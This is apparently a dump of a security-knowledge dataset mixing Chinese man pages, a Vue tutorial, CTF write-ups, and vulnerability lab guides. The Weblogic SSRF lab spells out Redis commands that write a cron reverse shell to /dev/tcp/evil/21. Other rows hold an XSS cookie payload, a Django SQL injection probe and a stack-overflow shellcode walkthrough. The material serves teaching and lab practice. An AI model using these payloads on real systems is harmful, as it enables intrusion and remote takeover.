text
stringlengths
100
9.93M
category
stringclasses
11 values
# Constructor ### 构造器 利用 Vue 构造函数 ,可以创建一个 VUE ‘应用’ ``` var vm = new Vue({ // 选项 }) ``` 在实例化 Vue 时,需要传入一个选项对象,它可以包含数据、模板、挂载元素、方法、生命周期钩子等选项 #### 选项/DOM 在用 vue-cli 创建的 vue 项目中有下面选项 ```js new Vue({ el: '#app', router, template: '<App/>', components: { App } }) ``` ##### el > 类似于React里的render - 类型: string | HTMLElement(CSS 选择器 | HTMLElement 实例) - 限制: 只在由 new 创建的实例中遵守 - 详细: 提供一个在页面上已存在的 DOM 元素作为 Vue 实例的挂载目标 ##### template - 类型: string - 详细:添加使用的模板,模板将会 替换 挂载的元素,挂载元素的内容都将被忽略,除非模板的内容有分发 slot ##### router 如果使用 vue-router 时,需要添加路由 ##### components - 类型: Object - 详细: 包含 Vue 实例可用组件的哈希表 ### 组件构造器 可以扩展 Vue 构造器,从而用预定义选项创建可复用的组件构造器: ``` var MyComponent = Vue.extend({ // 扩展选项 }) // 所有的 `MyComponent` 实例都将以预定义的扩展选项被创建 var myComponentInstance = new MyComponent() ``` 尽管可以命令式地创建扩展实例,不过在多数情况下建议将组件构造器注册为一个自定义元素,然后声明式地用在模板中。我们将在后面详细说明组件系统。现在你只需知道所有的 Vue.js 组件其实都是被扩展的 Vue 实例。 参考:https://cn.vuejs.org/v2/guide/components.html
sec-knowleage
# 执行 Shellcode ## 介绍 shellcode 是一段用于利用软件漏洞而执行的代码,shellcode 为16进制之机械码,以其经常让攻击者获得 shell 而得名。shellcode 常常使用机器语言编写。 可在暂存器 eip 溢出后,塞入一段可让 CPU 执行的 shellcode 机械码,让电脑可以执行攻击者的任意指令。在编译时关闭 ASLR、NX 、CANARY 选项,这样就可以在输入时把 shellcode 布置在栈中,通过动态调试获得所需要的 padding 溢出到返回地址为输入的 shellcode 地址,这样程序返回后便会执行 shellcode。 ### 示例 下面给出一个经典例子,验证程序溢出后执行 **shellcode**,编译的环境为 winxp 工具为 vc6.0。 ```c #include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password(char *password) { int authenticated; char buffer[50]; authenticated = strcmp(password,PASSWORD); memcpy(buffer,password,strlen(password)); return authenticated; } void main() { int valid_flag =0; char password[1024]; FILE *fp; LoadLibrary("user32.dll"); if (!(fp=fopen("password.txt","rw+"))) { exit(0); } fscanf(fp,"%s",password); valid_flag = verify_password(password); if (valid_flag !=0) { printf("incorrect password!\n\n"); } else { printf("Congratulation! You have passed the verification!\n"); } fclose(fp); getchar(); } ``` 编译完成后拖入 OllyDbg 动态调试确定 **padding** 的长度,在 **memcpy** 处下一个断点方便随后调试。可以先生成50 BYTES 的 padding 比较与返回地址的距离,最后确定为60 BYTES 后为返回地址。 输入的字符串会被复制到栈中 **0012FAE4** 的位置。 因为通过合理的 padding 控制了返回地址到 **0012FAE4**,所以在函数返回时寄存器 **EIP** 的值为 **0012FAE4**,这时系统会认为栈中的数据为机器码,程序就会执行地址为 **0012FAE4** 的代码。 **password.txt** 中的内容为精心布置的机器码,功能是弹出一个消息框,内容为 **hackhack**。如何编写 **password.txt** 中的内容,我们放在后面的章节来讲,本章着重介绍整个执行流程。 如我们所期望的,程序返回后执行了弹窗功能。 ### 参考阅读 [0day安全:软件漏洞分析技术]() [cve-2015-8277](https://www.securifera.com/advisories/cve-2015-8277/)
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.47.3. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH CKSUM 1 2020年三月 "GNU coreutils 8.32" 用户命令 .SH 名称 cksum \- 显示文件校验和并计数其字节数 .SH 概述 \fBcksum\fP [\fI\,文件列表\/\fP]... .br \fBcksum\fP [\fI\,选项\/\fP] .SH 描述 .\" Add any additional description here .PP 显示每个文件的 CRC 校验和和字节计数。 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SH 作者 由 Q. Frank Xia 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2020 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 完整文档请见:<https://www.gnu.org/software/coreutils/cksum> .br 或者在本地使用: info \(aq(coreutils) cksum invocation\(aq
sec-knowleage
# Weblogic SSRF漏洞 Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。 ## 测试环境搭建 编译及启动测试环境 ``` docker compose up -d ``` 访问`http://your-ip:7001/uddiexplorer/`,无需登录即可查看uddiexplorer应用。 ## SSRF漏洞测试 SSRF漏洞存在于`http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp`,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如`http://127.0.0.1:80`: ``` GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1 Host: localhost Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close ``` 可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回`did not have a valid SOAP content-type`。 ![](1.png) 修改为一个不存在的端口,将会返回`could not connect over HTTP to server`。 ![](2.png) 通过错误的不同,即可探测内网状态。 ## 注入HTTP头,利用Redis反弹shell Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。 首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现`172.18.0.2:6379`可以连通: ![](3.png) 发送三条redis命令,将弹shell脚本写入`/etc/crontab`: ``` set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n" config set dir /etc/ config set dbfilename crontab save ``` 进行url编码: ``` set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave ``` 注意,换行符是“\r\n”,也就是“%0D%0A”。 将url编码后的字符串放在ssrf的域名后面,发送: ``` GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1 Host: localhost Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close ``` ![](4.png) 成功反弹: ![](5.png) 最后补充一下,可进行利用的cron有如下几个地方: - /etc/crontab 这个是肯定的 - /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。 - /var/spool/cron/root centos系统下root用户的cron文件 - /var/spool/cron/crontabs/root debian系统下root用户的cron文件
sec-knowleage
# Angel (RE, 468 points, 20 solves) We're given a password-checking binary: ``` c++ int __cdecl sub_80485BF(char *input_str) { int result; // eax@2 char v2; // [sp+3h] [bp-15h]@1 int v3; // [sp+4h] [bp-14h]@1 size_t i; // [sp+8h] [bp-10h]@3 v2 = *input_str; v3 = 0; if ( strlen(input_str) > 2 ) { for ( i = 1; strlen(input_str) - 1 > i; ++i ) { some_dark_magic(dword_804D148, &off_804C140 + 4 * (unsigned __int8)v2); if ( dword_804C060[v3] != dword_804D148((unsigned __int8)input_str[i]) ) return puts("Wrong!"); if ( ++v3 == 200 ) break; v2 = input_str[i]; } result = puts("Well done!"); } else { result = puts("Wrong!"); } return result; } ``` There is some lookup-table stuff going on with `off_804C140` and some dark magic with `some_dark_magic` function ;) We could reverse the whole program but we're lazy and the encryption has a cool property - the passwords nth check relies only on input bytes we've already analyzed. This means that we could brute the correct input one byte at a time - we try to append every possible byte to the last successfull input and when we find a match we move one byte forward. We came up with a nifty little gdb python script: ``` python import os import string from subprocess import Popen, PIPE, STDOUT import gdb import codecs import string good_characters = 0 class MyBreakpoint(gdb.Breakpoint): def __init__(self, spec): super(MyBreakpoint, self).__init__(spec, gdb.BP_BREAKPOINT, internal = False) self.silent = True def stop (self): eax = int(gdb.parse_and_eval("$eax")) edx = int(gdb.parse_and_eval("$edx")) if eax == edx: global matches matches += 1 return False MyBreakpoint('*0x08048656') matches = 0 starting_piece = "you" while True: for i in string.printable: potential_flag = starting_piece + i + "A"*30 matches = 0 with codecs.open("input.txt","w") as output_file: output_file.write(potential_flag) gdb.execute("r < input.txt > /tmp/a") if matches == len(starting_piece): starting_piece += i break; f = open("output", "wb") f.write(starting_piece) ``` We had to brute-force two first letters and then try about 4 different starting inputs but once we got overt that the script ran smoothly. `you are looking for this EKO{4ngr_d1dn't_like_th1s}`
sec-knowleage
# Biblical Category: Cryptography ## Description > xhgvxsmrlm{Yryorxzo_xrksvih_ziv_gsv_yvhg} ## Solution This is a Biblical cipher and there aren't too many of them. Let's use [Atbash](https://en.wikipedia.org/wiki/Atbash): > Atbash is a monoalphabetic substitution cipher originally used to encrypt the Hebrew alphabet. ```javascript > const chef = require("cyberchef"); undefined > chef.atbashCipher("xhgvxsmrlm{Yryorxzo_xrksvih_ziv_gsv_yvhg}") cstechnion{Biblical_ciphers_are_the_best} ```
sec-knowleage
# Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234) Django在2019年8月1日发布了一个安全更新,修复了在JSONField、HStoreField两个模型字段中存在的SQL注入漏洞。 参考链接: - https://www.djangoproject.com/weblog/2019/aug/01/security-releases/ - https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html 该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django自带的后台应用Django-Admin中就存在这样的写法,我们可以直接借助它来复现漏洞。 ## 漏洞环境 执行如下命令编译及启动一个存在漏洞的Django 2.2.3: ``` docker compose build docker compose up -d ``` 环境启动后,访问`http://your-ip:8000`即可看到Django默认首页。 ## 漏洞复现 首先登陆后台`http://your-ip:8000/admin/`,用户名密码为`admin`、`a123123123`。 登陆后台后,进入模型`Collection`的管理页面`http://your-ip:8000/admin/vuln/collection/`: ![](1.png) 然后在GET参数中构造`detail__a'b=123`提交,其中`detail`是模型`Collection`中的JSONField: http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123 可见,单引号已注入成功,SQL语句报错: ![](2.png)
sec-knowleage
.\" Copyright (c) 1993 Michael Haardt (michael@moria.de), Fri Apr 2 11:32:09 MET DST 1993 .\" .\" This is free documentation; you can redistribute it and/or .\" modify it under the terms of the GNU General Public License as .\" published by the Free Software Foundation; either version 2 of .\" the License, or (at your option) any later version. .\" .\" The GNU General Public License's references to "object code" .\" and "executables" are to be interpreted as the output of any .\" document formatting or typesetting system, including .\" intermediate and printed output. .\" .\" This manual is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public .\" License along with this manual; if not, write to the Free .\" Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111, .\" USA. .\" .\" Modified Sat Jul 24 17:08:16 1993 by Rik Faith <faith@cs.unc.edu> .\" Modified Mon Oct 21 17:47:19 EDT 1996 by Eric S. Raymond <esr@thyrsus.com> .TH MOTD 5 "December 29 1992" "Linux" "Linux Programmer's Manual" .SH NAME motd \- 当日消息 .SH "描述 (DESCRIPTION)" 在 登录 系统 后, 执行 登录 shell 前, .BR login (1) 显示 \fB/etc/motd\fP 中的 内容. "motd" 意思是 "message of the day", 他 过去 的确 做 这个事情 (所需的 磁盘空间 比 对 每个用户 发送 邮件 小的多). .SH "文件 (FILES)" /etc/motd .SH "另见 (SEE ALSO)" .BR login (1) .BR issue (5) .SH "[中文版维护人]" .B 徐明 <xuming@users.sourceforge.net> .SH "[中文版最新更新]" .BR 2003/05/13 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "ALTER FUNCTION" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME ALTER FUNCTION \- 修改一个函数的定义 .SH SYNOPSIS .sp .nf ALTER FUNCTION \fIname\fR ( [ \fItype\fR [, ...] ] ) RENAME TO \fInewname\fR .sp .fi .SH "DESCRIPTION 描述" .PP \fBALTER FUNCTION\fR 修改一个函数的定义,目前唯一的功能是修改它的名字。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 一个现有的函数的名字(可以有模式修饰)。 .TP \fB\fItype\fB\fR 该函数参数的数据类型。 .TP \fB\fInewname\fB\fR 函数的新名字。 .SH "EXAMPLES 例子" .PP 把名字为 sqrt,参数类型为 integer 的函数重命名为 square_root: .sp .nf ALTER FUNCTION sqrt(integer) RENAME TO square_root; .sp .fi .SH "COMPATIBILITY 兼容性" .PP 在 SQL 标准里有一个 ALTER FUNCTION 语句,但是它并没有提供重命名函数的选项。 .SH "SEE ALSO 参见" CREATE FUNCTION [\fBcreate_function\fR(7)], DROP FUNCTION [\fBdrop_function\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
rsh === 连接远程主机并执行命令 ## 补充说明 **rsh命令** 用于连接到远程的指定主机并执行指定的命令。 ### 语法 ```shell rsh(选项)(参数) ``` ### 选项 ```shell -d:使用Socket层级的排错功能; -l<用户名称>:指定要登入远端主机的用户名称; -n:把输入的指令号向代号为/dev/null的特殊外围设备。 ``` ### 参数 * 远程主机:指定要连接的远程主机; * 指令:指定要在远程主机上执行的命令。
sec-knowleage
# pyc反编译 --- **相关文章** - [py可执行文件反编译教程--exe转换py](https://blog.csdn.net/m0_37552052/article/details/88093427) - [Python代码保护 | pyc 混淆从入门到工具实现](https://zhuanlan.zhihu.com/p/145811103) **相关工具** - [python反编译](https://tool.lu/pyc) - [rocky/python-uncompyle6](https://github.com/rocky/python-uncompyle6) ```bash # 例如有一个 test.pyc,想反编译输出文件为 test.py uncompyle6 -o test.py test.pyc ``` - [extremecoders-re/pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor) - 反编译 pyinstaller 生成的 exe ```bash python pyinstxtractor.py test.exe ``` 如果转换格式错误,可以手动修复,在该文件起始位置加上8个字节的pyc头即可 ``` 03 F3 0D 0A 00 00 00 00 ```
sec-knowleage
# JS and HTML are best friends Category: Web ## Description > Part 3 of Imperva's challenge > > Put your JavaScript to the test and manipulate the DOM! > ## Solution The [previous challenge](Hard_login.md)'s flag has left us with a hint: `the_company_likes_cookies`. We create an account by entering a desired username and password. Then, we login to the bug bounty management page. ![](images/bug_bounty.png) In this page we have several buttons. We'll concentrate on the "Add bug" functionality for this writeup. The other buttons are related to other challenges and we'll see them later. After clicking the "Add bug" button, we get a popup which allows us to submit a bug. We need to select the category from a dropdown menu, and then enter the relevant company and the bug details. After some trial and error, we discover that the "Company" field is vulnerable to XSS. Relevant code on client side is: ```javascript function populateTable(data) { // $('#bugsTable').bootstrapTable({ // data: datadata // }); for (var i = 0; i < data.length; i++) { var bugDetails = data[i].details var pattern = /((http|https|ftp):\/\/)/; if(pattern.test(bugDetails)) { let docURL = bugDetails.substring(0, bugDetails.lastIndexOf('|')) let docName = bugDetails.substring(bugDetails.lastIndexOf('/')+1, bugDetails.lastIndexOf('|')) let creator = bugDetails.substring(bugDetails.lastIndexOf('|')+1, bugDetails.length) bugDetails = `<a href=${docURL}>${docName}</a> by ${creator}` } var row = $('<tr><td class="align-middle">' + data[i].category + '</td><td class="align-middle">' + data[i].company + '</td><td class="align-middle">' + bugDetails + '</td></tr>'); $('#bugsTable').append(row); } } ``` If we provide a `<script>` in the company field, JQuery's element creation syntax (`$('<element>')`) will include it in the element creation, and `$('#bugsTable').append(row)` will attach it to the DOM and execute it. There is no escaping done on the server side either. Remember that the hint said "The company likes cookies". This is not so clear or intuitive, but based on the challenge description and hint it turns out that in order to get the flag, we need to use the XSS vulnerability to write our cookie to the "company" table entry. Here's our table after submitting a few bugs: ```html <table class="table table-striped table-bordered" id="bugsTable"> <thead class="thead-dark"> <tr> <th scope="col" data-field="category" class="text-center">Category</th> <th scope="col" data-field="company" class="text-center">Company</th> <th scope="col" data-field="details" class="text-center">Details</th> </tr> </thead> <tbody id="bugsTableData"><tr><td class="align-middle">XSS</td><td class="align-middle">Imperva</td><td class="align-middle"></td></tr><tr><td class="align-middle">SSRF</td><td class="align-middle">Imperva</td><td class="align-middle"></td></tr></tbody> </table> ``` So, in order to modify the "Company" entry of one of the rows, we submit the following Javascript snippet as a "company": ```javascript <script>document.getElementById("bugsTable").rows[1].cells[1].innerHTML = document.cookie; </script> ``` After clicking the "Show bugs reports" button again to refresh the table, we get see that the Javascript has been executed and get the flag: `cstechnion{i_can_view_other_bugs}`. The flag is a hint for the [next challenge](Other_bugs.md).
sec-knowleage
### 密码安全伪随机数生成器介绍 密码学安全伪随机数生成器(cryptographically secure pseudo-random number generator,CSPRNG),也称为密码学伪随机数生成器(cryptographic pseudo-random number generator,CPRNG),是一种特殊的伪随机数生成器。它需要满足满足一些必要的特性,以便于适合于密码学应用。 密码学的很多方面都需要随机数 - 密钥生成 - 生成初始化向量,IV,用于分组密码的 CBC,CFB,OFB 模式 - nounce,用于防止重放攻击以及分组密码的 CTR 模式等、 - [one-time pads](https://en.wikipedia.org/wiki/One-time_pad) - 某些签名方案中的盐,如 [ECDSA](https://en.wikipedia.org/wiki/ECDSA), [RSASSA-PSS](https://en.wikipedia.org/w/index.php?title=RSASSA-PSS&action=edit&redlink=1) ### 密码安全伪随机数生成器需求 毫无疑问,密码学安全伪随机数生成器的要求肯定比一般的伪随机数生成器要高。一般而言,CSPRNG 的要求可以分为两类 - 通过统计随机性测试。CSPRNG 必须通过 [next-bit test](https://en.wikipedia.org/wiki/Next-bit_test),也就是说,知道了一个序列的前 k 个比特,攻击者不可能在多项式时间内以大于 50% 的概率预测出来下一个比特位。这里特别提及一点,姚期智曾在 1982 年证明,如果一个生成器可以通过 [next-bit test](https://en.wikipedia.org/wiki/Next-bit_test),那么它也可以通过所有其他的多项式时间统计测试。 - 必须能够抵抗足够强的攻击,比如当生成器的部分初始状态或者运行时的状态被攻击者获知时,攻击者仍然不能够获取泄漏状态之前的生成的随机数。 ### 密码安全伪随机数生成器分类 就目前而看, CSPRNG 的设计可以分为以下三类 - 基于密码学算法,如密文或者哈希值。 - 基于数学难题 - 某些特殊目的的设计
sec-knowleage
# HTTP `HTTP` ( `Hyper Text Transfer Protocol` ,也称为超文本传输协议)是一种用于分布式、协作式和超媒体信息系统的应用层协议。 `HTTP` 是万维网的数据通信的基础。 ## 例题 > 题目:江苏省领航杯-2017:hack 总体观察可以得出: - `HTTP`为主 - `192.168.173.134`为主 - 不存在附件 从这张图,基本可以判断初这是一个在`sql注入-盲注时产生的流量包` 到此为止,基本可以判断flag的方向,提取出所有的url后,用`python`辅助即可得到flag - 提取url: `tshark -r hack.pcap -T fields -e http.request.full_uri|tr -s '\n'|grep flag > log` - 得到盲注结果 ```python import re with open('log') as f: tmp = f.read() flag = '' data = re.findall(r'=(\d*)%23',tmp) data = [int(i) for i in data] for i,num in enumerate(data): try: if num > data[i+1]: flag += chr(num) except Exception: pass print flag ```
sec-knowleage
# Writeup DefCamp CTF 2015 Uczestniczyliśmy (msm, Rev, other019, nazywam i Shalom) w DefCamp CTF, i znowu spróbujemy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy). Ogólne wrażenia: Większość zadań wymagała łączenia się przez VPN aby uzyskać dostęp do infrastruktury organizatora. Było to o tyle problematyczne, że VPN lubił zrywać połączenie i działać bardzo wolno, co mocno utrudniało pracę nad niektórymi zadaniami. A teraz opisy zadań po kolei. # Spis treści: * [Warm up (web 100)](web_100) * [The hylian dude (web 200)]() * [Rocket Science Admin Panel (web 300)]() * [CSS Engineer (web 400)]() * [Custom function engineering (crypto 300)](crypto_300_custom_function) * [11 (crypto 50)](crypto_50) * [Password encrypting tool (pwn 100)]() * [No Crypto (pwn 200)]() * [Entry language (reverse 100)](re_100_entry) * [Link & Switch (reverse 200)](re_200_link) * [LBS Checker (reverse 300)](re_300_lbs_checker) * [Such exploit, much random (pwn 300)]() * [Master of Reversing (reverse 400)](re_400_master_of_reversing) * [She said it doesn't matter (misc/stego 100)](misc_100_doesnt_matter) * [Try harder! (misc/stego 200)](misc_200_try_harder) * [Can you read Pacifico? (misc/ppc 400+1)](misc_400_captcha) # Wykres ![](chart.png) # Zakończenie Zachęcamy do komentarzy/pytań/czegokolwiek.
sec-knowleage
package org.vulhub.shirodemo; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class ShirodemoApplication { public static void main(String[] args) { SpringApplication.run(ShirodemoApplication.class, args); } }
sec-knowleage
xhost === 制哪些X客户端能够在X服务器上显示 ## 补充说明 **xhost命令** 是X服务器的访问控制工具,用来控制哪些X客户端能够在X服务器上显示。该命令必须从有显示连接的机器上运行。可以通过使用`-host`参数,从访问列表中除去一个名称。不要从访问列表中除去当前的名称。如果已经这样做了,请在作出任何更改之前注销系统。 ### 语法 ```shell xhost(参数) ``` ### 参数 * +:关闭访问控制,允许任何主机访问本地的X服务器; * -:打开访问控制,仅允许授权清单中的主机访问本地的X服务器。 输入无变量的xhost命令将显示访问X服务器的当前主机名,并显示一条消息表明访问是否已启用。 为了安全起见,只能从控制主机运行影响访问控制的选项。对于工作站来说,这台机器也就是服务器。对于X终端来说,这台机器是登录主机。 要在缺省情况下启用远程名称,可以在`/etc/X?.hosts`文件中定义名称,其中`?`为启用访问的显示器号。 例如,显示器`jeanne:0`可以由使用jeanne的缺省主机名的系统上的`/etc/X0.hosts`文件中定义的系统访问。在显示名称和文件名中,0表明已定义的远程系统允许通过增强X-Windows访问的显示器号。 注意:`-name`参数,定义要从X服务器访问列表中除去的主机名。已有的连接没有被中断,但将拒绝新的连接请求。注意:可以除去当前的机器;然而,不允许进行进一步的连接(包括试图将其添加回来)。再一次启用本地连接的唯一方法就是将服务器复位(因此也会中断所有连接)。
sec-knowleage
# 恶意流量分析练习 请详见我的另一开源文档:[流量分析练习](https://traffic.y1ng.org/),其中的恶意流量样本主要来源于:[Malware-Traffic-Analysis.net](https://www.malware-traffic-analysis.net/index.html),感谢原作者从13年起就不断整理发布恶意流量分析样本。 相关练习文档: - [PIZZA-BENDER](https://traffic.y1ng.org/0x1_23-8-2020/) - [Pcap and alerts for an ISC diary](https://traffic.y1ng.org/0x2_24-8-2020/) - [TECSOLUTIONS](https://traffic.y1ng.org/0x3_26-8-2020/) - [FRANK-N-TED (WHAT'S GOING ON?)](https://traffic.y1ng.org/0x4_27-8-2020/) - [CATBOMBER](https://traffic.y1ng.org/0x5_29-8-2020/) - [STEELCOFFEE](https://traffic.y1ng.org/0x6_1-9-2020/) - [MONDOGREEK](https://traffic.y1ng.org/0x7_7-9-2020/) - [PCAP AND INFO FOR AN ISC DIARY](https://traffic.y1ng.org/0x8_22-9-2020/) - [TROUBLE ALERT](https://traffic.y1ng.org/0x9_14-3-2021/) - [ASCOLIMITED](https://traffic.y1ng.org/0xA_17-10-2021/) - [ANGRYPOUTINE](https://traffic.y1ng.org/0xB_18-10-2021/)
sec-knowleage
### 音频隐写相关题目类型 与音频相关的 CTF 题目主要使用了隐写的策略,主要分为 MP3 隐写,LSB 隐写,波形隐写,频谱隐写等等。 ### 音频隐写类题目破解常见手段 通过 `binwalk` 以及 `strings` 可以发现的信息不再详述。 ### 音频隐写中MP3 隐写原理 MP3隐写主要是使用 [Mp3Stego](http://www.petitcolas.net/steganography/mp3stego/) 工具进行隐写,其基本介绍及使用方法如下 > MP3Stego will hide information in MP3 files during the compression process. The data is first compressed, encrypted and then hidden in the MP3 bit stream. ```shell encode -E hidden_text.txt -P pass svega.wav svega_stego.mp3 decode -X -P pass svega_stego.mp3 ``` ### 音频隐写中MP3 隐写例题 > ISCC-2016: Music Never Sleep 初步观察后,由 `strings` 无发现,听音频无异常猜测使用隐写软件隐藏数据。 得到密码后使用 `Mp3Stego` 解密。 ```shell decode.exe -X ISCC2016.mp3 -P bfsiscc2016 ``` 得到文件 `iscc2016.mp3.txt`: ``` Flag is SkYzWEk0M1JOWlNHWTJTRktKUkdJTVpXRzVSV0U2REdHTVpHT1pZPQ== ??? ``` Base64 && Base32 后得到 flag。 ### 音频隐写中波形隐写原理 通常来说,波形方向的题,在观察到异常后,使用相关软件(Audacity, Adobe Audition 等)观察波形规律,将波形进一步转化为 01 字符串等,从而提取转化出最终的 flag。 ### 音频隐写中波形隐写例题 > ISCC-2017: Misc-04 其实这题隐藏的信息在最开始的一段音频内,不细心听可能会误认为是隐写软件。 以高为 1 低为 0,转换得到 `01` 字符串。 ``` 110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101 ``` 转为 ASCII,摩斯密码解密,得到 flag。 !!! note 一些较复杂的可能会先对音频进行一系列的处理,如滤波等。例如 [JarvisOJ - 上帝之音 Writeup](https://www.40huo.cn/blog/jarvisoj-misc-writeup.html) ### 音频隐写中频谱隐写原理 音频中的频谱隐写是将字符串隐藏在频谱中,此类音频通常会有一个较明显的特征,听起来是一段杂音或者比较刺耳。 ### 音频隐写中频谱隐写例题 > Su-ctf-quals-2014:hear_with_your_eyes ### 音频隐写中LSB音频隐写原理 类似于图片隐写中的 LSB 隐写,音频中也有对应的 LSB 隐写。主要可以使用 [Silenteye](http://silenteye.v1kings.io/) 工具,其介绍如下: > SilentEye is a cross-platform application design for an easy use of steganography, in this case hiding messages into pictures or sounds. It provides a pretty nice interface and an easy integration of new steganography algorithm and cryptography process by using a plug-ins system.
sec-knowleage
## High-speed RSA Keygen (Crypto, 150p) See the attached files. Download RSA-Keygen.tar.gz ###ENG [PL](#pl-version) We were given a ciphertext, a key generator written in Python and a public key generated by that script - so the challenge is to decrypt the ciphertext using only the public key. Looking at the script, we can notice that it generates two random prime numbers `p` and `q` and then encrypts plaintext using RSA. Key lengths are pretty long, so we cannot easily factorize `n` using normal approach - instead we have to rely on weaknesses in generation algorithm. The interesting part of script (there were also primality checks and other things, but they are not important for this writeup): ``` kq = randrange(1, 2**12) + 2**12 + 2**13 + 2**14 + 2**15 + 2**16 + 2**17 + 2**18 + 2**19 tq = randrange(1, 2**399) q = kq * pi * 2**400 + tq ``` `pi` - calculated earlier - is a product of first 443 primes. Algorithm for `p` is the same. Let's see how `n=p*q` looks like: `n=p*q=` `=(kp * pi * 2**400 + tp)*(kq * pi * 2**400 + tq)=` `=kp*kq*pi^2*2^800 + kp*pi*2^400*tq + kq*pi*2^400*tp + tp*tq=` `=(pi*2^400)^2 * kp*kq + (pi*2^400) * (kq*tp+kp*tq) + tp*tq` This looks similar to number written in base `pi*2^400`. We still need to check whether "digits" are smaller than base itself. As `pi` is around `2^600`, base is close to `2^1000`. The biggest digit is the last one - `tp*tq`, which is smaller than `2^800`, so everything is good. As we know, representation of any number in any base is unique - therefore we can recover those digits from `n` alone. Let's call those digits `A`, `B` and `C`. We have: `A=kp*kq`, `B=kp*tq+kq*tp`, `C=tp*tq` Since `kp` and `kq` have only small number of possible values (2^12), we can easily brute force the generated ones. It turns out there was only one possibility. Knowing `kp` and `kq`, we are left with two equations and two unknowns. Solving quadratic equation, we get `tp` and `tq`, which we later use to recover `p` and `q`. Decoding the ciphertext gives flag. ###PL version W zadaniu dostajemy zaszyfrowany tekst, generator kluczy napisany w Pythonie, oraz klucz publiczny wygenerowany przez niego - zadanie sprowadzało się zatem do odkodowania tekstu bez znajomości klucza prywatnego. Przestudiowanie skryptu pozwala nam stwierdzić, że użyto algorytmu RSA ze sporą wartością `p` i `q` - standardowe metody faktoryzacji zatem odpadają. Pozostaje wykorzystanie podatności w kodzie generującym klucze. Najważniejsza część skryptu (pomijając sprawdzanie pierwszości itp.): ``` kq = randrange(1, 2**12) + 2**12 + 2**13 + 2**14 + 2**15 + 2**16 + 2**17 + 2**18 + 2**19 tq = randrange(1, 2**399) q = kq * pi * 2**400 + tq ``` `pi` - obliczone wcześniej - to iloczyn pierwszych 443 liczb pierwszych. `p` jest obliczane analogicznie. Zobaczmy, jak zatem wygląda `n`: `n=p*q=` `=(kp * pi * 2**400 + tp)*(kq * pi * 2**400 + tq)=` `=kp*kq*pi^2*2^800 + kp*pi*2^400*tq + kq*pi*2^400*tp + tp*tq=` `=(pi*2^400)^2 * kp*kq + (pi*2^400) * (kq*tp+kp*tq) + tp*tq` 